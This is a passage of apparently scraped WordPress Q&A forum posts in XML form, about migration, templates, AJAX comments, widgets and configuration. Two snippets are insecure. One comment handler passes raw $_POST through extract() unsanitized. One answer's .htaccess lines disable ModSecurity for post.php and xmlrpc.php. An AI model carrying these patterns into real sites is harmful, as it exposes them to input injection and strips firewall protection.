  <row Id="19927" PostTypeId="1" CreationDate="2011-06-14T02:18:09.777" Score="1" ViewCount="78" Body="&lt;p&gt;I've just moved my files and database from a Windows platform to a Linux platform. The site seems to be running fine, but the dashboard is not. The entire left column (the one that should be showing Posts, Pages, Media, Links, etc.) is missing. I can't do anything with the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to get the left column to reappear? I'm thinking it must be some sort of database issue, maybe a table that didn't get imported?  I'd appreciate any guidance on this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Andrew&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;a href=&quot;http://ezysetup.com/ftp_uploads/No_Dashboard.jpg&quot; rel=&quot;nofollow&quot;&gt;Screenshot&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6171" LastEditorUserId="6171" LastEditorDisplayName="" LastEditDate="2011-06-14T07:31:02.557" LastActivityDate="2011-06-14T07:31:02.557" Title="Left column in dashboard missing" Tags="&lt;database&gt;&lt;migration&gt;&lt;dashboard&gt;" CommentCount="4" />
  <row Id="19928" PostTypeId="1" CreationDate="2011-06-14T02:20:06.653" Score="-3" ViewCount="47" Body="&lt;p&gt;I am newbie to wordpress and just started to play with themes. My problem is I want to  change the css of the content part and for that I want to know by default the content comes in the blog page comes from which page. I made echo from many pages but not got any result. Can any one tell me all the contents comes from which page?&lt;/p&gt;&#xA;" OwnerUserId="6170" LastActivityDate="2011-06-14T18:11:18.687" Title="styling the contents" Tags="&lt;content&gt;" AnswerCount="1" />
  <row Id="19929" PostTypeId="2" ParentId="18968" CreationDate="2011-06-14T02:43:08.993" Score="2" ViewCount="" Body="&lt;p&gt;ERRATA&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Jauntily show the admin’s email address in error message&#xA;SetEnv SERVER_ADMIN info@yoursite.com&#xA;&#xA;#disable hotlinking of images with forbidden or custom image option&#xA;RewriteEngine on&#xA;RewriteCond %{HTTP_REFERER} !^$&#xA;RewriteCond %{HTTP_REFERER} !^http://(www\.)?yoursite.com/.*$ [NC]&#xA;#RewriteRule \.(gif|jpg|png)$ – [F]&#xA;#RewriteRule \.(gif|jpg|png)$ http://www.yoursite.com/wp-content/uploads/2011/04/bracker_thou_shalt_not_steal24.jpg [R,L]&#xA;&#xA;#block referring domains&#xA;#RewriteEngine on&#xA;#RewriteCond %{HTTP_REFERER} digg\.com [NC]&#xA;#RewriteRule .* – [F]&#xA;&#xA;#Remove /category/ from your WordPress url&#xA;RewriteRule ^category/(.+)$ http://www.yourblog.com/$1 [R=301,L]&#xA;&#xA;#Redirect visitors to a maintenance page&#xA;RewriteEngine on&#xA;RewriteCond %{REQUEST_URI} !/maintenance.html$&#xA;RewriteCond %{REMOTE_ADDR} !^123\.123\.123\.123&#xA;RewriteRule $ /maintenance.html [R=302,L]&#xA;&#xA;#auto-correct simple URL spelling mistakes&#xA;&amp;lt;IfModule mod_speling.c&amp;gt;&#xA;CheckSpelling On&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;#better login&#xA;RewriteRule ^login$ http://example.com/wp-login.php [NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4258" LastEditorUserId="4258" LastEditorDisplayName="" LastEditDate="2011-06-14T02:48:31.890" LastActivityDate="2011-06-14T02:48:31.890" CommunityOwnedDate="2011-06-14T02:43:08.993" CommentCount="1" />
  <row Id="19930" PostTypeId="2" ParentId="19928" CreationDate="2011-06-14T02:43:34.843" Score="2" ViewCount="" Body="&lt;p&gt;I'll refer you to the excellent &lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;template hierarchy diagram&lt;/a&gt; from the &lt;a href=&quot;http://codex.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;, which explains how template files are chosen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/6dQWI.png&quot; alt=&quot;WordPress template hierarchy&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That explains the &quot;which page&quot; aspect of your question, but you also mentioned modifying CSS based on content. The &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/body_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;body_class()&lt;/code&gt;&lt;/a&gt; function should be a part of your template, and it will apply a number of classes to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag which allow you to target CSS at specific types of content. For example, given a category &quot;spooky,&quot; this CSS rule would give all &quot;spooky&quot; pages a black background:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.category-spooky { background-color: #000; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many other variations exist, for other types of targeting.&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2011-06-14T18:11:18.687" LastActivityDate="2011-06-14T18:11:18.687" />
  <row Id="19931" PostTypeId="1" AcceptedAnswerId="20746" CreationDate="2011-06-14T02:57:29.467" Score="0" ViewCount="51" Body="&lt;p&gt;I've never messed with the comments loop before, but I'm trying something out here. Basically, I have my comments form in a popup iframe, an ajax action which handles the form submission, inserts the comment, and updates the list of comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a problem running the comments loop a second time on the page, though. The comments form comes through fine, but the comments don't show on the Ajax refresh. &lt;code&gt;have_comments()&lt;/code&gt; turns up false, and &lt;code&gt;wp_list_comments()&lt;/code&gt; outputs nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my Ajax handler, in case there's an issue in there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Submit Comments Through AJAX */&#xA;&#xA;add_action ( 'wp_ajax_submit_comment', 'ajax_insert_comment' );&#xA;add_action ( 'wp_ajax_nopriv_submit_comment', 'ajax_insert_comment' );&#xA;&#xA;function ajax_insert_comment() {&#xA;&#xA;    /* obviously all of this needs sanitization, &#xA;       its oversimplified, just to get the idea across */&#xA;    $data = extract( wp_parse_args( $_POST ) );&#xA;    $current_user = wp_get_current_user();&#xA;    $comment = wp_insert_comment( array(&#xA;        'user_id' =&amp;gt; $current_user-&amp;gt;ID,&#xA;        'comment_author' =&amp;gt; $current_user-&amp;gt;display_name,&#xA;        'comment_author_email' =&amp;gt; $current_user-&amp;gt;user_email,&#xA;        'comment_post_ID' =&amp;gt; intval( $comment_post_ID ),&#xA;        'comment_parent' =&amp;gt; intval( $comment_parent ),&#xA;        'comment_content' =&amp;gt; $comment,&#xA;        'comment_type' =&amp;gt; $comment_type&#xA;        ) );&#xA;&#xA;    wp_reset_query();&#xA;    global $post; $wp_the_query;&#xA;&#xA;    $post = get_post( $comment_post_ID );&#xA;    setup_postdata( $post );&#xA;&#xA;    /* Here's the problem: How to rewind the comments query &#xA;        so that it will actually display comments. I've tried &#xA;        all of these things, but they're not working right now */&#xA;    $wp_query-&amp;gt;current_comment = -1;&#xA;    $wp_query-&amp;gt;rewind_comments();&#xA;&#xA;    // send comments list again.&#xA;    include( get_stylesheet_directory(). '/comments.php' );&#xA;&#xA;    die(0);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The callback just takes the Ajax reponse and updates the comments div with the result. But its missing the whole comment list. Any ideas what I need to call to rewind the comments loop and make it actually display?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-06-22T22:16:14.693" Title="How to use rewind_comments() - when and how to use it?" Tags="&lt;wp-query&gt;&lt;rewind-comments&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19932" PostTypeId="2" ParentId="6977" CreationDate="2011-06-14T03:00:55.773" Score="0" ViewCount="" Body="&lt;p&gt;I have been through this, it is highly dependent on how your getting the source real estate data, direct database access, rets , mls, ibx, flat exports, rss, etc?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your source is highly competent they could easily provide a json or rss feed ( or an API even better), this is by far the best option.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are using more traditional flat file exports or database exports, then you will need a custom script that parses the data to be inserted into the WordPress database properly. I would recommend what Rarst said and in fact this is how I did it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using custom post types and custom meta fields, all the data is thrown into the meta fields which made it very easy to output using all built in WordPress functionality ( archives, tags, category's, permalinks, query's, etc).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only caveat was customizing the search for meta fields, due to the difficulty and time I used a plugin and it works perfectly fine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. The alternative, which I did test out, was Pods CMS ( plugin), but in the end I just used the default tables.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-14T03:00:55.773" />
  <row Id="19933" PostTypeId="1" AcceptedAnswerId="19964" CreationDate="2011-06-14T03:38:44.307" Score="5" ViewCount="117" Body="&lt;p&gt;I have a running normal WP blog (blog 1). I want to create a Q&amp;amp;A section for my users, so I setup another blog with WP-Answer theme (blog 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I don't want my users at blog 1 have to register at blog 2 to post questions. I want they automatically grant the same privileges at blog 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be achieved? Do you have any advice for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-15T15:45:36.047" Title="How can 2 blogs share the same users" Tags="&lt;users&gt;&lt;migration&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="2" />
  <row Id="19945" PostTypeId="1" AcceptedAnswerId="20006" CreationDate="2011-06-14T04:31:41.183" Score="1" ViewCount="132" Body="&lt;p&gt;The default Archive widget display monthly archives in a dropdown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to limit the number of months to 12 (in dropdown).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What filter I should apply in my functions.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this, but it gives me parsed error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('WP_Widget_Archives','set_number_months');&#xA;function set_number_months($args) {&#xA;$args = array('number'    =&amp;gt; 12);&#xA;return $args;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried with wp_get_archives but same parsed error&lt;/p&gt;&#xA;" OwnerUserId="5021" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-14T08:35:10.960" LastActivityDate="2011-06-15T05:07:57.367" Title="Archive widget - limit number of months to 12" Tags="&lt;archive&gt;" AnswerCount="1" />
  <row Id="19946" PostTypeId="2" ParentId="18678" CreationDate="2011-06-14T04:33:33.417" Score="1" ViewCount="" Body="&lt;p&gt;1) I think you should change the JS file. The &lt;code&gt;send_to_editor&lt;/code&gt; is the default WordPress handler that will insert image into the editor. In your code, you &lt;strong&gt;completely&lt;/strong&gt; replaced it. That's not cool. You should backup it (I'm not sure if that can fix the errors, but at least it make your code run more properly):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Something in this code I'll explain below&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $('#elem_upload_logo').click(function() {&#xA;        var backup = window.send_to_editor, // backup the original 'send_to_editor' function which adds images to the editor&#xA;            post_id = $(this).attr('rel');  // get post ID&#xA;&#xA;        // now you can change the default behavior&#xA;        window.send_to_editor = function (html) {&#xA;            // check the returned HTML code and do something with it&#xA;&#xA;            // restore the default behavior&#xA;            window.send_to_editor = backup;&#xA;        }&#xA;&#xA;        tb_show('', 'media-upload.php?type=image&amp;amp;amp;TB_iframe=true&amp;amp;post_id=' + post_id);&#xA;        return false;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Another problem with your code is that the returned &lt;code&gt;html&lt;/code&gt; might has &lt;strong&gt;no&lt;/strong&gt; &lt;code&gt;img&lt;/code&gt; tags. Actually, it depends on how users choose the way to link the image (they can link the image to the attachment page, the image file, or not link to anywhere). The code above works only when the image is linked to the image file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can test this situation by inserting image to the editor, changing the way image is linked, you'll see the actual returned html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The last problem I found when viewing your errors is that you didn't declare the post ID. The thinkbox media uploader &lt;strong&gt;must&lt;/strong&gt; have post ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, you can use a simple trick: in your PHP code that echos the &lt;code&gt;#elem_upload_logo&lt;/code&gt;, set its &lt;code&gt;rel=&quot;&amp;lt;?php echo $post-&amp;gt;ID; ?&amp;gt;&quot;&lt;/code&gt; and in your JS script, extract this attribute and pass it into the URL of the media uploader (as the code above).&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-14T04:33:33.417" CommentCount="3" />
  <row Id="19948" PostTypeId="1" AcceptedAnswerId="19949" CreationDate="2011-03-31T00:12:21.310" Score="1" ViewCount="17" Body="&lt;p&gt;i was using a wordpress install on an ubuntu server virtual machine.  At first the adapter was host-only at an address of 192.168.55.55.  The host had this on a vboxnet0 subnet.&lt;br&gt;&#xA;i changed to bridged adapter to try port forwarding from the router, and now i cant access the page with the new address.&lt;br&gt;&#xA;the new address is 192.168.1.5 and everything appears fine on routing tables of host.&lt;br&gt;&#xA;i also cleared the dnsCache on the host.&lt;br&gt;&#xA;but when i type in:&lt;br&gt;&#xA;192.168.1.5/wordpress&lt;br&gt;&#xA;in the browser, the activity bar shows it is trying to contact the old ip of 192.168.55.55, which was the vboxnet0 host-only adapter.  &lt;/p&gt;&#xA;" OwnerUserId="4412" LastActivityDate="2011-06-14T04:51:05.987" Title="How do I reset a self-hosted Wordpress URL?" Tags="&lt;untagged&gt;" AnswerCount="1" />
  <row Id="19949" PostTypeId="2" ParentId="19948" CreationDate="2011-03-31T08:40:16.673" Score="3" ViewCount="" Body="&lt;p&gt;The easiest way to do this is by using copy&amp;amp;replace in the SQL file. Export the database. Use your favorite text editor and do a copy&amp;amp;replace and import it into a new database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you go to wp-config.php and you change the WP_HOME and WP_SITEURL to the new host. Then you change the databasename. You also need to ensure that the same db user has access to the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw: There is a separate stackexchange for wordpress. Check out &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5105/how-to-move-a-wordpress-site-to-another-server&quot;&gt;http://wordpress.stackexchange.com/questions/5105/how-to-move-a-wordpress-site-to-another-server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2011-03-31T08:40:16.673" />
  <row Id="19950" PostTypeId="1" CreationDate="2010-10-18T20:42:33.353" Score="1" ViewCount="23" Body="&lt;p&gt;Ok, this is seriously weird and I have no clue what's going on here. I am using WordPress 3.0.1, I create a new blog post, give it a title, paste the following code into the blog post and hits Save Draft.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;code lang=&quot;php&quot;&amp;gt;&#xA;// Init curl&#xA;$request = curl_init();&#xA;&#xA;// Set request options&#xA;curl_setopt_array($request, array&#xA;(&#xA;    CURLOPT_URL =&amp;gt; 'https://www.sandbox.paypal.com/cgi-bin/webscr',&#xA;    CURLOPT_POST =&amp;gt; TRUE,&#xA;    CURLOPT_POSTFIELDS =&amp;gt; http_build_query(array&#xA;        (&#xA;            'cmd' =&amp;gt; '_notify-synch',&#xA;            'tx' =&amp;gt; $_GET['tx'],&#xA;            'at' =&amp;gt; $your_pdt_identity_token,&#xA;        )),&#xA;    CURLOPT_RETURNTRANSFER =&amp;gt; TRUE,&#xA;    CURLOPT_HEADER =&amp;gt; FALSE,&#xA;    CURLOPT_SSL_VERIFYPEER =&amp;gt; TRUE,&#xA;    CURLOPT_CAINFO =&amp;gt; 'cacert.pem',&#xA;));&#xA;&#xA;// Execute and get the response and status code&#xA;$response = curl_exec($request);&#xA;$status   = curl_getinfo($request, CURLINFO_HTTP_CODE);&#xA;&#xA;// Close&#xA;curl_close($request);&#xA;&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just a code example in my head, but seems like WordPress thinks otherwise, cause when I hit Save Draft, Preview or Publish all I get is a blank page with the following text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Service Temporarily Unavailable&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What in the world is going on here??&lt;/p&gt;&#xA;" OwnerUserId="1919" LastActivityDate="2011-06-14T04:54:30.357" Title="Why does this snippet in a blog post make WordPress crash?" Tags="&lt;blog&gt;&lt;code&gt;" AnswerCount="1" />
  <row Id="19951" PostTypeId="2" ParentId="19950" CreationDate="2010-10-18T21:19:52.000" Score="1" ViewCount="" Body="&lt;p&gt;And of course after I ask the question, I find the solution... Apparently it's caused by a trigger happy Mod_Security.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.kavoir.com/2009/04/wordpress-503-service-temporarily-unavailable-when-posting-new-posts-or-modifying-existing-posts.html&quot; rel=&quot;nofollow&quot;&gt;WordPress: 503 Service Temporarily Unavailable when Posting New Posts or Modifying Existing Posts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Adding these lines to the .htaccess file makes it go away nicely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;  SetEnvIfNoCase Request_URI ^/wp-admin/(?:post|async-upload)\.php$ MODSEC_ENABLE=Off&#xA;  SetEnvIfNoCase Request_URI ^/xmlrpc\.php$ MODSEC_ENABLE=Off&#xA;  SecFilterDebugLevel 0&#xA;  SecFilterDefaultAction &quot;deny,nolog,noauditlog,status:503&quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1919" LastActivityDate="2010-10-18T21:19:52.000" />
  <row Id="19952" PostTypeId="1" CreationDate="2010-08-10T13:47:48.137" Score="3" ViewCount="197" Body="&lt;p&gt;I have a personally hosted WordPress installation. When I write a new post I want an excerpt of the post and a link to it to be posted to a different blog (via the Blogger or MetaWeblog APIs). I've seen it done before, though I don't know if WordPress was the platform of the original blog post. Is there a plugin to do this, or a setting I don't see perhaps?&lt;/p&gt;&#xA;" LastActivityDate="2011-06-14T04:57:30.543" Title="WordPress automatically &quot;forward&quot; a post to another blog?" Tags="&lt;blog&gt;" AnswerCount="5" CommentCount="0" />
  <row Id="19953" PostTypeId="2" ParentId="19952" CreationDate="2010-08-10T19:33:25.970" Score="0" ViewCount="" Body="&lt;p&gt;I think what you saw and want is Trackbacks. This should be enough to send you on a Google chase, but you can start at &lt;a href=&quot;http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments&quot; rel=&quot;nofollow&quot;&gt;the WordPress' own description of it&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice however that trackbacks were exploited by spammers so much that a lot of places turn them off. But I guess if you are trying to link two of your own blogs up or if the target blog clearly supports trackbacks, you might be in luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For WordPress, I think if you include an article link, that article will be pinged automatically. But there is also a little box of addresses to ping at the bottom of the post screen. You may need to do some research to figure out exactly what URL to put in it.&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2010-08-10T19:33:25.970" CommentCount="1" />
  <row Id="19954" PostTypeId="2" ParentId="19952" CreationDate="2010-08-10T20:28:02.530" Score="1" ViewCount="" Body="&lt;p&gt;If you're looking to create a sort of aggregator-like feel, check out the &lt;a href=&quot;http://wordpress.org/extend/plugins/syndicate-out/&quot; rel=&quot;nofollow&quot;&gt;Syndicate Out&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/crosspress/&quot; rel=&quot;nofollow&quot;&gt;CrossPress&lt;/a&gt;, and &lt;a href=&quot;http://wordpress.org/extend/plugins/feedwordpress/&quot; rel=&quot;nofollow&quot;&gt;FeedWordPress&lt;/a&gt; plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible issues include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All are plugins not officially updated for WP3.0&lt;/li&gt;&#xA;&lt;li&gt;Syndicate Out only supports XML-RPC at present&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="166" LastActivityDate="2010-08-10T20:28:02.530" />
  <row Id="19955" PostTypeId="2" ParentId="19952" CreationDate="2010-08-11T07:56:29.017" Score="1" ViewCount="" Body="&lt;p&gt;This might not be a direct solution. But, if you use &lt;a href=&quot;http://posterous.com&quot; rel=&quot;nofollow&quot;&gt;posterous&lt;/a&gt; or &lt;a href=&quot;http://amplify.com&quot; rel=&quot;nofollow&quot;&gt;amplify&lt;/a&gt;, then they let you autopost content to multiple locations, and it's not just the feed aggregation.&#xA;Just set them up to auto post to your WP blog and anywhere else you please.&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2010-08-11T07:56:29.017" />
  <row Id="19956" PostTypeId="2" ParentId="19952" CreationDate="2010-10-07T10:15:13.007" Score="0" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://webapps.stackexchange.com/questions/5966/can-i-automatically-post-something-i-write-for-one-blog-to-my-other-blogs/6041#6041&quot;&gt;this&lt;/a&gt; related question.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2010-10-07T10:15:13.007" />
  <row Id="19957" PostTypeId="2" ParentId="19952" CreationDate="2010-10-07T10:23:08.490" Score="0" ViewCount="" Body="&lt;p&gt;This is definitely just a suggestion, I hope it helps: &#xA;I use Posterous as my blogging platform and it allows me to forward to a lot of different platforms including wordpress. Because you're going to be posting an excerpt somewhere else, I suggest using Posterous to mainly post it and it will also save you time looking for other plugins like a facebook one. The feature on posterous is called Auto-Post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for an easy fix, services that use RSS like feedburner automatically post excerpts to readers (like Google Reader).&lt;/p&gt;&#xA;" OwnerUserId="1439" LastActivityDate="2010-10-07T10:23:08.490" />
  <row Id="19958" PostTypeId="1" AcceptedAnswerId="19959" CreationDate="2010-07-31T10:48:50.127" Score="2" ViewCount="82" Body="&lt;p&gt;I want to use a good elegant slideshow control in my website. The website is created in wordpress and I am using the Thesis theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find a Nivo slider but am stuck at the integration with Thesis (using the custom functions and custom css files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone suggest a good non-flash slideshow widget which I can easily integrate with the theme (and also how to integrate it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1070" LastActivityDate="2011-06-14T04:59:05.723" Title="Slideshow control for use in Wordpress Thesis theme - non flash" Tags="&lt;untagged&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19959" PostTypeId="2" ParentId="19958" CreationDate="2010-07-31T12:11:59.030" Score="1" ViewCount="" Body="&lt;p&gt;Here is a list with some of the widgets: &lt;a href=&quot;http://www.geeksucks.com/showcases/12-awesome-wordpress-slideshow-plugins.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.geeksucks.com/showcases/12-awesome-wordpress-slideshow-plugins.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, here is the slideshow list from the official plugin directory: &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/slideshow&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tags/slideshow&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-07-31T12:11:59.030" CommentCount="2" />
  <row Id="19960" PostTypeId="2" ParentId="19933" CreationDate="2011-06-14T05:32:58.283" Score="3" ViewCount="" Body="&lt;p&gt;I think the easiest would be to keep one site, and only apply your Q&amp;amp;A styles to the pages you need. That way you keep everything centralized in one WP install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;body_class()&lt;/a&gt; you can target any page/post from your CSS and apply the styles you want only where you need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would go something like this, if your Q&amp;amp;A pages have a common template named &lt;code&gt;question_answer.php&lt;/code&gt; you can style them like with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.page-template-question_answer{ background:#FAFAFA }&#xA;.page-template-question_answer #conent{ width:500px }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-14T05:32:58.283" CommentCount="2" />
  <row Id="19961" PostTypeId="1" CreationDate="2011-06-14T06:16:49.147" Score="1" ViewCount="1115" Body="&lt;p&gt;when I made my wordpress  site validate I got some strange errors like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Line 6, Column 52: Bad value profile for attribute rel on element link: Keyword profile is not registered.&#xA;&#xA;Error Line 12, Column 128: Bad value EditURI for attribute rel on element link: Keyword edituri is not registered.&#xA;&#xA;Line 14, Column 91: Bad value index for attribute rel on element link: Keyword index is not registered.&#xA;&#xA;Line 89, Column 208: Bad value category for attribute rel on element a: Keyword category is not registered.&#xA;&#xA;Line 111, Column 208: Bad value category for attribute rel on element a: Keyword category is not registered.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I searched over Google but not found any solutions. Can any one help me out?&lt;/p&gt;&#xA;" OwnerUserId="6175" LastActivityDate="2011-06-14T07:26:00.390" Title="wordpress site validation errors" Tags="&lt;validation&gt;" AnswerCount="1" />
  <row Id="19962" PostTypeId="1" AcceptedAnswerId="19971" CreationDate="2011-06-14T06:54:34.310" Score="1" ViewCount="298" Body="&lt;p&gt;I have custom post-type 'sermon' with custom taxonomy 'speaker' attached to it. I wanted to assign custom meta values to the speaker taxonomy, so I am using the taxonomy meta class from Rilwis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com/p/taxonomy-meta-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/p/taxonomy-meta-script-for-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the class to add a metabox with the id of 'bio'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to his directions, I need to use the following code in order to output the value of the 'bio' meta into my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = get_option('meta_id');&#xA;if (empty($meta)) $meta = array();&#xA;if (!is_array($meta)) $meta = (array) $meta;&#xA;&#xA;$meta = isset($meta['term_id']) ? $meta['term_id'] : array();&#xA;&#xA;$value = $meta['field_id'];&#xA;&#xA;echo $value; // if you want to show&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is what ended up working for me:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxmeta = get_option('speaker_meta');&#xA;if (empty($taxmeta)) $taxmeta = array();&#xA;if (!is_array($taxmeta)) $taxmeta = (array) $meta;&#xA;&#xA;$taxmeta = isset($taxmeta['221']) ? $taxmeta['221'] : array();&#xA;&#xA;$value = $taxmeta['bio'];&#xA;&#xA;echo $value; // if you want to show&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above code you see the number '221'. That is the actual term-id of the taxonomy assigned to the post in question (hardcoded to test it out). What I don't understand is how to populate the term_id dynamically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't query the url because this is simply being used on a custom post-type single page, so the term-id is not available there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I modify that snippet to put in the proper term-id belonging to the 'sermon' that I am looking at?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function does return the proper term_id for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = wp_get_post_terms($post-&amp;gt;ID, &quot;speaker&quot;);&#xA;foreach ($terms as $termid) {  &#xA;echo $termid-&amp;gt;term_id;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using that snippet within my loop on my example page returns the value of '221'. If I manually put 221 in place of term_id in the function then it does pull the term meta 'bio' just perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where I am still stuck&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I have that little snippet above which works, how do I get that to output to the term_id so the primary function will 